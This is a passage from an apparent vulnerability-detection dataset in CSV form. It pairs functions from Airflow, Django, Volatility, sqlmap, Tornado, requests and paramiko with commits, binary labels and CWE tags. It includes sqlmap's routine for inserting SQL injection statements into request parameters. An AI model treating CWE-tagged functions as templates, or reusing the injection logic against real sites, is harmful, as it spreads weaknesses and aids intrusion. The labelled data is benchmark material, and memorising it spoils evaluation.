            deprecated_section, deprecated_key, _ = self.deprecated_options.get(
                (section, key), (None, None, None)
            )
        # first check environment variables
        option = self._get_environment_variables(
            deprecated_key,
            deprecated_section,
            key,
            section,
            issue_warning=not warning_emitted,
            extra_stacklevel=_extra_stacklevel,
        )
        if option is not None:
            return option

        # ...then the config file
        option = self._get_option_from_config_file(
            deprecated_key,
            deprecated_section,
            key,
            kwargs,
            section,
            issue_warning=not warning_emitted,
            extra_stacklevel=_extra_stacklevel,
        )
        if option is not None:
            return option

        # ...then commands
        option = self._get_option_from_commands(
            deprecated_key,
            deprecated_section,
            key,
            section,
            issue_warning=not warning_emitted,
            extra_stacklevel=_extra_stacklevel,
        )
        if option is not None:
            return option

        # ...then from secret backends
        option = self._get_option_from_secrets(
            deprecated_key,
            deprecated_section,
            key,
            section,
            issue_warning=not warning_emitted,
            extra_stacklevel=_extra_stacklevel,
        )
        if option is not None:
            return option

        # ...then the default config
        if self.get_default_value(section, key) is not None or ""fallback"" in kwargs:
            return expand_env_var(self.get_default_value(section, key, **kwargs))

        if self.get_default_pre_2_7_value(section, key) is not None:
            # no expansion needed
            return self.get_default_pre_2_7_value(section, key, **kwargs)

        if not suppress_warnings:
            log.warning(""section/key [%s/%s] not found in config"", section, key)

        raise AirflowConfigException(f""section/key [{section}/{key}] not found in config"")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/autodetector.py,0,"def deep_deconstruct(self, obj):
        """"""
        Recursive deconstruction for a field and its arguments.
        Used for full comparison for rename/alter; sometimes a single-level
        deconstruction will not compare correctly.
        """"""
        if not hasattr(obj, 'deconstruct') or isinstance(obj, type):
            return obj
        deconstructed = obj.deconstruct()
        if isinstance(obj, models.Field):
            # we have a field which also returns a name
            deconstructed = deconstructed[1:]
        path, args, kwargs = deconstructed
        return (
            path,
            [self.deep_deconstruct(value) for value in args],
            dict(
                (key, self.deep_deconstruct(value))
                for key, value in kwargs.items()
            ),
        )",CWE-Unknown,django/django,4680d25df23875bced0f17d361782bda80ce79d6,"def deep_deconstruct(self, obj):
        """"""
        Recursive deconstruction for a field and its arguments.
        Used for full comparison for rename/alter; sometimes a single-level
        deconstruction will not compare correctly.
        """"""
        if not hasattr(obj, 'deconstruct'):
            return obj
        deconstructed = obj.deconstruct()
        if isinstance(obj, models.Field):
            # we have a field which also returns a name
            deconstructed = deconstructed[1:]
        path, args, kwargs = deconstructed
        return (
            path,
            [self.deep_deconstruct(value) for value in args],
            dict(
                (key, self.deep_deconstruct(value))
                for key, value in kwargs.items()
            ),
        )"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/tmpfs.py,0,"def __init__(self, config, *args):
        linux_common.AbstractLinuxCommand.__init__(self, config, *args)
        self._config.add_option('DUMP-DIR', short_option = 'D', default = None, help = 'output directory for recovered files', action = 'store', type = 'str')
        self._config.add_option('SB', short_option = 'S', default = None, help = 'superblock to process, see -l', action = 'store', type = 'int')
        self._config.add_option('LIST_SBS', short_option = 'L', default = None, help = 'list avaiable tmpfs superblocks', action = 'store_true')

        # used to keep correct time for directories
        self.dir_times = {}",,volatilityfoundation/volatility,be4231481fafa8c5d4a9e2d3884768304657ce0b,"def __init__(self, config, *args):
        linux_common.AbstractLinuxCommand.__init__(self, config, *args)
        self._config.add_option('DUMP-DIR', short_option = 'D', default = None, help = 'output directory for recovered files', action = 'store', type = 'str')
        self._config.add_option('SB', short_option = 'S', default = None, help = 'superblock to process, see -l', action = 'store', type = 'int')
        self._config.add_option('LIST_SBS', short_option = 'L', default = None, help = 'list avaiable tmpfs superblocks', action = 'store_true')

        # used to keep correct time for directories
        self.dir_times = {}"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if kb.forceWhere:
            where = kb.forceWhere
        elif where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])

        if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
            paramString = origValue
            if place == PLACE.URI:
                origValue = origValue.split(kb.customInjectionMark)[0]
            else:
                origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r""\w+\Z"", r""[^\""'><]+\Z"", r""[^ ]+\Z"")))[0].group(0)
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(kb.customInjectionMark)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^""\[,]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""&]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(kb.customInjectionMark)[0]
            origValue = origValue[origValue.find(',') + 1:]
            match = re.search(r""([^;]+)=(?P<value>[^;]+);?\Z"", origValue)
            if match:
                origValue = match.group(""value"")
            elif ',' in paramString:
                header = paramString.split(',')[0]

                if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
                    origValue = origValue.split(' ')[-1].split(':')[-1]

        origValue = origValue or """"

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = randomInt(6)
                elif conf.invalidString:
                    value = randomStr(6)
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, kb.customInjectionMark)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not ""'%s'"" % _ in paramString:
                newValue = ""'%s'"" % newValue
            newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(kb.customInjectionMark, """").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
        elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
            retVal = paramString.replace(""%s%s"" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            def _(pattern, repl, string):
                retVal = string
                match = None
                for match in re.finditer(pattern, string):
                    pass

                if match:
                    while True:
                        _ = re.search(r""\\g<([^>]+)>"", repl)
                        if _:
                            try:
                                repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                            except IndexError:
                                break
                        else:
                            break
                    retVal = string[:match.start()] + repl + string[match.end():]
                return retVal

            if origValue:
                regex = r""(\A|\b)%s=%s%s"" % (re.escape(parameter), re.escape(origValue), r""(\Z|\b)"" if origValue[-1].isalnum() else """")
                retVal = _(regex, ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
            else:
                retVal = _(r""(\A|\b)%s=%s(\Z|%s|%s|\s)"" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), ""%s=%s\g<2>"" % (parameter, self.addPayloadDelimiters(newValue)), paramString)

            if retVal == paramString and urlencode(parameter) != parameter:
                retVal = _(r""(\A|\b)%s=%s"" % (re.escape(urlencode(parameter)), re.escape(origValue)), ""%s=%s"" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)

        if retVal:
            retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')

        return retVal",,sqlmapproject/sqlmap,d4170f11f0b058a80e160a997ff4751f0505246c,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if kb.forceWhere:
            where = kb.forceWhere
        elif where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])

        if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
            paramString = origValue
            if place == PLACE.URI:
                origValue = origValue.split(kb.customInjectionMark)[0]
            else:
                origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r""\w+\Z"", r""[^\""'><]+\Z"", r""[^ ]+\Z"")))[0].group(0)
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(kb.customInjectionMark)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^""\[,]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""&]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(kb.customInjectionMark)[0]
            origValue = origValue[origValue.find(',') + 1:]
            match = re.search(r""([^;]+)=(?P<value>[^;]+);?\Z"", origValue)
            if match:
                origValue = match.group(""value"")
            elif ',' in paramString:
                header = paramString.split(',')[0]

                if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
                    origValue = origValue.split(' ')[-1].split(':')[-1]

        origValue = origValue or """"

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = randomInt(6)
                elif conf.invalidString:
                    value = randomStr(6)
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, kb.customInjectionMark)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not ""'%s'"" % _ in paramString:
                newValue = ""'%s'"" % newValue
            newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(kb.customInjectionMark, """").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
        elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
            _ = ""%s%s"" % (origValue, BOUNDED_INJECTION_MARKER)
            retVal = ""%s=%s"" % (re.sub(r"" (\#\d\*|\(.+\))\Z"", """", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            def _(pattern, repl, string):
                retVal = string
                match = None
                for match in re.finditer(pattern, string):
                    pass

                if match:
                    while True:
                        _ = re.search(r""\\g<([^>]+)>"", repl)
                        if _:
                            try:
                                repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                            except IndexError:
                                break
                        else:
                            break
                    retVal = string[:match.start()] + repl + string[match.end():]
                return retVal

            if origValue:
                regex = r""(\A|\b)%s=%s%s"" % (re.escape(parameter), re.escape(origValue), r""(\Z|\b)"" if origValue[-1].isalnum() else """")
                retVal = _(regex, ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
            else:
                retVal = _(r""(\A|\b)%s=%s(\Z|%s|%s|\s)"" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), ""%s=%s\g<2>"" % (parameter, self.addPayloadDelimiters(newValue)), paramString)

            if retVal == paramString and urlencode(parameter) != parameter:
                retVal = _(r""(\A|\b)%s=%s"" % (re.escape(urlencode(parameter)), re.escape(origValue)), ""%s=%s"" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)

        if retVal:
            retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')

        return retVal"
,UNKNOWN,UNKNOWN,tornado/concurrent.py,1,"def wrapper(*args, **kwargs):
        future = Future()
        callback, args, kwargs = replacer.replace(future.set_result,
                                                  args, kwargs)
        if callback is not None:
            future.add_done_callback(callback)

        def handle_error(typ, value, tb):
            future.set_exception(value)
            return True
        exc_info = None
        with ExceptionStackContext(handle_error):
            try:
                result = f(*args, **kwargs)
            except:
                exc_info = sys.exc_info()
            assert result is None, (""@return_future should not be used with ""
                                    ""functions that return values"")
        if exc_info is not None:
            # If the initial synchronous part of f() raised an exception,
            # go ahead and raise it to the caller directly without waiting
            # for them to inspect the Future.
            raise_exc_info(exc_info)
        return future",CWE-703,tornadoweb/tornado,6fd769763bd35831383a55aa702d42d8d12b0d2a,"def wrapper(*args, **kwargs):
        future = Future()
        callback, args, kwargs = replacer.replace(future.set_result,
                                                  args, kwargs)
        if callback is not None:
            future.add_done_callback(callback)

        def handle_error(typ, value, tb):
            future.set_exception(value)
            return True
        exc_info = None
        with ExceptionStackContext(handle_error):
            try:
                result = f(*args, **kwargs)
            except:
                exc_info = sys.exc_info()
            assert result is None, (""@return_future should not be used with ""
                                    ""functions that return values"")
        if exc_info is not None:
            # If the initial synchronous part of f() raised an exception,
            # go ahead and raise it to the caller directly without waiting
            # for them to inspect the Future.
            raise_exc_info(exc_info)
        return future"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/commands/developer_commands.py,0,"def enter_shell(**kwargs) -> RunCommandResult:
    """"""
    Executes entering shell using the parameters passed as kwargs:

    * checks if docker version is good
    * checks if docker-compose version is good
    * updates kwargs with cached parameters
    * displays ASCIIART and CHEATSHEET unless disabled
    * build ShellParams from the updated kwargs
    * executes the command to drop the user to Breeze shell

    """"""
    perform_environment_checks()
    cleanup_python_generated_files()
    if read_from_cache_file(""suppress_asciiart"") is None:
        get_console().print(ASCIIART, style=ASCIIART_STYLE)
    if read_from_cache_file(""suppress_cheatsheet"") is None:
        get_console().print(CHEATSHEET, style=CHEATSHEET_STYLE)
    shell_params = ShellParams(**filter_out_none(**kwargs))
    rebuild_or_pull_ci_image_if_needed(command_params=shell_params)

    if shell_params.backend == ""sqlite"":
        get_console().print(
            f""\n[warn]backend: sqlite is not ""
            f""compatible with executor: {shell_params.executor}. ""
            f""Changing the executor to SequentialExecutor.\n""
        )
        shell_params.executor = ""SequentialExecutor""

    if shell_params.include_mypy_volume:
        create_mypy_volume_if_needed()
    shell_params.print_badge_info()
    cmd = [*DOCKER_COMPOSE_COMMAND, ""run"", ""--service-ports"", ""-e"", ""BREEZE"", ""--rm"", ""airflow""]
    cmd_added = shell_params.command_passed
    env_variables = get_env_variables_for_docker_commands(shell_params)
    if cmd_added is not None:
        cmd.extend([""-c"", cmd_added])
    if ""arm64"" in DOCKER_DEFAULT_PLATFORM:
        if shell_params.backend == ""mysql"":
            if shell_params.mysql_version == ""8"":
                get_console().print(""\n[warn]MySQL use MariaDB client binaries on ARM architecture.[/]\n"")
            else:
                get_console().print(
                    f""\n[error]Only MySQL 8.0 is supported on ARM architecture, ""
                    f""but got {shell_params.mysql_version}[/]\n""
                )
                sys.exit(1)
        if shell_params.backend == ""mssql"":
            get_console().print(""\n[error]MSSQL is not supported on ARM architecture[/]\n"")
            sys.exit(1)
    command_result = run_command(
        cmd, env=env_variables, text=True, check=False, output_outside_the_group=True
    )
    if command_result.returncode == 0:
        return command_result
    else:
        get_console().print(f""[red]Error {command_result.returncode} returned[/]"")
        if get_verbose():
            get_console().print(command_result.stderr)
        return command_result",CWE-Unknown,apache/airflow,3720e28d582c4edc29e8433dce05a639a503f755,"def enter_shell(**kwargs) -> RunCommandResult:
    """"""
    Executes entering shell using the parameters passed as kwargs:

    * checks if docker version is good
    * checks if docker-compose version is good
    * updates kwargs with cached parameters
    * displays ASCIIART and CHEATSHEET unless disabled
    * build ShellParams from the updated kwargs
    * executes the command to drop the user to Breeze shell

    """"""
    perform_environment_checks()
    cleanup_python_generated_files()
    if read_from_cache_file(""suppress_asciiart"") is None:
        get_console().print(ASCIIART, style=ASCIIART_STYLE)
    if read_from_cache_file(""suppress_cheatsheet"") is None:
        get_console().print(CHEATSHEET, style=CHEATSHEET_STYLE)
    shell_params = ShellParams(**filter_out_none(**kwargs))
    rebuild_or_pull_ci_image_if_needed(command_params=shell_params)

    if shell_params.backend == ""sqlite"":
        get_console().print(
            f""\n[warn]backend: sqlite is not""
            f"" compatible with executor: {shell_params.executor}.""
            f""Changing the executor to SequentialExecutor.\n""
        )
        shell_params.executor = ""SequentialExecutor""

    if shell_params.include_mypy_volume:
        create_mypy_volume_if_needed()
    shell_params.print_badge_info()
    cmd = [*DOCKER_COMPOSE_COMMAND, ""run"", ""--service-ports"", ""-e"", ""BREEZE"", ""--rm"", ""airflow""]
    cmd_added = shell_params.command_passed
    env_variables = get_env_variables_for_docker_commands(shell_params)
    if cmd_added is not None:
        cmd.extend([""-c"", cmd_added])
    if ""arm64"" in DOCKER_DEFAULT_PLATFORM:
        if shell_params.backend == ""mysql"":
            if shell_params.mysql_version == ""8"":
                get_console().print(""\n[warn]MySQL use MariaDB client binaries on ARM architecture.[/]\n"")
            else:
                get_console().print(
                    f""\n[error]Only MySQL 8.0 is supported on ARM architecture, ""
                    f""but got {shell_params.mysql_version}[/]\n""
                )
                sys.exit(1)
        if shell_params.backend == ""mssql"":
            get_console().print(""\n[error]MSSQL is not supported on ARM architecture[/]\n"")
            sys.exit(1)
    command_result = run_command(
        cmd, env=env_variables, text=True, check=False, output_outside_the_group=True
    )
    if command_result.returncode == 0:
        return command_result
    else:
        get_console().print(f""[red]Error {command_result.returncode} returned[/]"")
        if get_verbose():
            get_console().print(command_result.stderr)
        return command_result"
,UNKNOWN,UNKNOWN,test_requests.py,1,"def test_get_auth_from_url(self):
        """"""Ensures that username and password in well-encoded URI as per
        RFC 3986 are correclty extracted.""""""
        from requests.utils import get_auth_from_url
        from requests.compat import quote
        percent_encoding_test_chars = ""%!*'();:@&=+$,/?#[] ""
        url_address = ""request.com/url.html#test""
        url = ""http://"" + quote(
            percent_encoding_test_chars, '') + ':' + quote(
            percent_encoding_test_chars, '') + '@' + url_address
        (username, password) = get_auth_from_url(url)
        assert username == percent_encoding_test_chars
        assert password == percent_encoding_test_chars",CWE-703,psf/requests,751b35c346e1cf373fcf4b2f19683ebfbd9dae3d,"def test_get_auth_from_url(self):
        """"""Ensures that username and password in well-encoded URI as per
        RFC 3986 are correclty extracted.""""""
        from requests.utils import get_auth_from_url
        from requests.compat import quote
        percent_encoding_test_chars = ""%!*'();:@&=+$,/?#[] ""
        url_address = ""request.com/url.html#test""
        url = ""http://"" + quote(
            percent_encoding_test_chars, '') + ':' + quote(
            percent_encoding_test_chars, '') + '@' + url_address
        (username, password) = get_auth_from_url(url)
        assert username == percent_encoding_test_chars
        assert password == percent_encoding_test_chars"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/filescan.py,0,"def render_text(self, outfd, data):
        """""" Renders text-based output """"""

        self.table_header(outfd, [('Offset(P)', '[addrpad]'),
                                  ('#Ptr', '>6'),
                                  ('#Hnd', '>6'),
                                  ('Creation time', '24'),
                                  ('From', '<20'),
                                  ('To', '60'),
                                  ])

        for objct, link in data:
            self.table_row(outfd,
                        link.obj_offset, objct.PointerCount,
                        objct.HandleCount, link.CreationTime or '',
                        str(objct.NameInfo.Name or ''),
                        str(link.LinkTarget or ''))",,volatilityfoundation/volatility,506b7612ffba7427637dba00572701e392af3cc5,"def render_text(self, outfd, data):
        """""" Renders text-based output """"""

        outfd.write(""{0:10} {1:4} {2:4} {3:24} {4:<20} {5}\n"".format(
            'Offset(P)', '#Ptr', '#Hnd', 'CreateTime', 'From', 'To'))

        for objct, link in data:
            outfd.write(""{0:#010x} {1:4} {2:4} {3:<24} {4:<20} {5}\n"".format(
                        link.obj_offset, objct.PointerCount,
                        objct.HandleCount, link.CreationTime or '',
                        str(objct.NameInfo.Name or ''),
                        str(link.LinkTarget or '')))"
,UNKNOWN,UNKNOWN,tests/providers/openlineage/plugins/test_openlineage_adapter.py,1,"def test_create_client_from_ol_env():
    client = OpenLineageAdapter().get_or_create_openlineage_client()

    assert client.transport.url == ""http://ol-api:5000""
    assert ""Authorization"" in client.transport.session.headers",CWE-703,apache/airflow,8351ae5fac46b3c864e0947720f292eb3b8e3a8a,"def test_create_client_from_ol_env():
    client = OpenLineageAdapter().get_or_create_openlineage_client()

    assert client.transport.url == ""http://ol-api:5000""
    assert ""Authorization"" in client.transport.session.headers
    assert client.transport.session.headers[""Authorization""] == ""Bearer api-key"""
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/api/common/experimental/mark_tasks.py,0,"def _create_dagruns(dag, execution_dates, state, run_type):
    """"""
    Infers from the dates which dag runs need to be created and does so.

    :param dag: the dag to create dag runs for
    :param execution_dates: list of execution dates to evaluate
    :param state: the state to set the dag run to
    :param run_type: The prefix will be used to construct dag run id: {run_id_prefix}__{execution_date}
    :return: newly created and existing dag runs for the execution dates supplied
    """"""
    # find out if we need to create any dag runs
    dag_runs = DagRun.find(dag_id=dag.dag_id, execution_date=execution_dates)
    dates_to_create = list(set(execution_dates) - {dag_run.execution_date for dag_run in dag_runs})

    for date in dates_to_create:
        dag_run = dag.create_dagrun(
            execution_date=date,
            start_date=timezone.utcnow(),
            external_trigger=False,
            state=state,
            run_type=run_type,
        )
        dag_runs.append(dag_run)

    return dag_runs",CWE-Unknown,apache/airflow,533b14341c774329d8184e6e559528ae8ed34b3a,"def _create_dagruns(dag, execution_dates, state, run_type):
    """"""
    Infers from the dates which dag runs need to be created and does so.

    :param dag: the dag to create dag runs for
    :param execution_dates: list of execution dates to evaluate
    :param state: the state to set the dag run to
    :param run_type: The prefix will be used to construct dag run id: {run_id_prefix}__{execution_date}
    :return: newly created and existing dag runs for the execution dates supplied
    """"""
    # find out if we need to create any dag runs
    dag_runs = DagRun.find(dag_id=dag.dag_id, execution_date=execution_dates)
    dates_to_create = list(set(execution_dates) - {dag_run.execution_date for dag_run in dag_runs})

    for date in dates_to_create:
        dag_run = dag.create_dagrun(
            run_id=f""{run_type}__{date.isoformat()}"",
            execution_date=date,
            start_date=timezone.utcnow(),
            external_trigger=False,
            state=state,
        )
        dag_runs.append(dag_run)

    return dag_runs"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/tests/relatedapp/tests.py,0,"def test12_count(self):
        ""Testing `Count` aggregate use with the `GeoManager`. See #11087.""
        # Creating a new City, 'Fort Worth', that uses the same location
        # as Dallas.
        dallas = City.objects.get(name='Dallas')
        ftworth = City.objects.create(name='Fort Worth', state='TX', location=dallas.location)
        
        # Count annotation should be 2 for the Dallas location now.
        loc = Location.objects.annotate(num_cities=Count('city')).get(id=dallas.location.id)
        self.assertEqual(2, loc.num_cities)

        # Creating some data for the Book/Author non-geo models that
        # use GeoManager.  See #11087.
        tp = Author.objects.create(name='Trevor Paglen')
        Book.objects.create(title='Torture Taxi', author=tp)
        Book.objects.create(title='I Could Tell You But Then You Would Have to be Destroyed by Me', author=tp)
        Book.objects.create(title='Blank Spots on the Map', author=tp)
        wp = Author.objects.create(name='William Patry')
        Book.objects.create(title='Patry on Copyright', author=wp)
        
        # Should only be one author (Trevor Paglen) returned by this query, and
        # the annotation should have 3 for the number of books.
        qs = Author.objects.annotate(num_books=Count('books')).filter(num_books__gt=1)
        self.assertEqual(1, len(qs))
        self.assertEqual(3, qs[0].num_books)",CWE-Unknown,django/django,fdcc0c774a9295f5d0fa3a1edd34e4f7e41476d5,"def test12_count(self):
        ""Testing `Count` aggregate use with the `GeoManager`. See #11087.""
        # Creating a new City, 'Fort Worth', that uses the same location
        # as Dallas.
        dallas = City.objects.get(name='Dallas')
        ftworth = City.objects.create(name='Fort Worth', state='TX', location=dallas.location)
        
        # Count annotation should be 2 for the Dallas location now.
        loc = Location.objects.annotate(num_cities=Count('city')).get(id=dallas.location.id)
        self.assertEqual(2, loc.num_cities)

        # Creating some data for the Book/Author non-geo models that
        # use GeoManager.  See #11087.
        tp = Author.objects.create(name='Trevor Paglen')
        Book.objects.create(title='Torture Taxi', author=tp)
        Book.objects.create(title='I Could Tell You But Then You Would Have to be Destroyed by Me', author=tp)
        Book.objects.create(title='Blank Spots on the Map', author=tp)
        wp = Author.objects.create(name='William Patry')
        Book.objects.create(title='Patry on Copyright', author=wp)
        
        # Should only be one author (Trevor Paglen) returned by this query, and
        # the annotation should have 3 for the number of books.
        qs = Author.objects.annotate(num_books=Count('books')).filter(num_books__gt=1)
        self.assertEqual(1, len(qs))
        self.assertEqual(3, qs[0].num_books)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/transport.py,0,"def run(self):
        # (use the exposed ""run"" method, because if we specify a thread target
        # of a private method, threading.Thread will keep a reference to it
        # indefinitely, creating a GC cycle and not letting Transport ever be
        # GC'd. it's a bug in Thread.)

        # Hold reference to 'sys' so we can test sys.modules to detect
        # interpreter shutdown.
        self.sys = sys

        # active=True occurs before the thread is launched, to avoid a race
        _active_threads.append(self)
        tid = hex(long(id(self)) & xffffffff)
        if self.server_mode:
            self._log(DEBUG, ""starting thread (server mode): %s"" % tid)
        else:
            self._log(DEBUG, ""starting thread (client mode): %s"" % tid)
        try:
            try:
                self.packetizer.write_all(b(self.local_version + ""\r\n""))
                self._log(
                    DEBUG, ""Local version/idstring: %s"" % self.local_version
                )  # noqa
                self._check_banner()
                # The above is actually very much part of the handshake, but
                # sometimes the banner can be read but the machine is not
                # responding, for example when the remote ssh daemon is loaded
                # in to memory but we can not read from the disk/spawn a new
                # shell.
                # Make sure we can specify a timeout for the initial handshake.
                # Re-use the banner timeout for now.
                self.packetizer.start_handshake(self.handshake_timeout)
                self._send_kex_init()
                self._expect_packet(MSG_KEXINIT)

                while self.active:
                    if self.packetizer.need_rekey() and not self.in_kex:
                        self._send_kex_init()
                    try:
                        ptype, m = self.packetizer.read_message()
                    except NeedRekeyException:
                        continue
                    if ptype == MSG_IGNORE:
                        continue
                    elif ptype == MSG_DISCONNECT:
                        self._parse_disconnect(m)
                        self.active = False
                        self.packetizer.close()
                        break
                    elif ptype == MSG_DEBUG:
                        self._parse_debug(m)
                        continue
                    if len(self._expected_packet) > 0:
                        if ptype not in self._expected_packet:
                            raise SSHException(
                                ""Expecting packet from %r, got %d""
                                % (self._expected_packet, ptype)
                            )  # noqa
                        self._expected_packet = tuple()
                        if (ptype >= 30) and (ptype <= 41):
                            self.kex_engine.parse_next(ptype, m)
                            continue

                    if ptype in self._handler_table:
                        error_msg = self._ensure_authed(ptype, m)
                        if error_msg:
                            self._send_message(error_msg)
                        else:
                            self._handler_table[ptype](self, m)
                    elif ptype in self._channel_handler_table:
                        chanid = m.get_int()
                        chan = self._channels.get(chanid)
                        if chan is not None:
                            self._channel_handler_table[ptype](chan, m)
                        elif chanid in self.channels_seen:
                            self._log(
                                DEBUG,
                                ""Ignoring message for dead channel %d""
                                % chanid,
                            )  # noqa
                        else:
                            self._log(
                                ERROR,
                                ""Channel request for unknown channel %d""
                                % chanid,
                            )  # noqa
                            self.active = False
                            self.packetizer.close()
                    elif (
                        self.auth_handler is not None
                        and ptype in self.auth_handler._handler_table
                    ):
                        handler = self.auth_handler._handler_table[ptype]
                        handler(self.auth_handler, m)
                        if len(self._expected_packet) > 0:
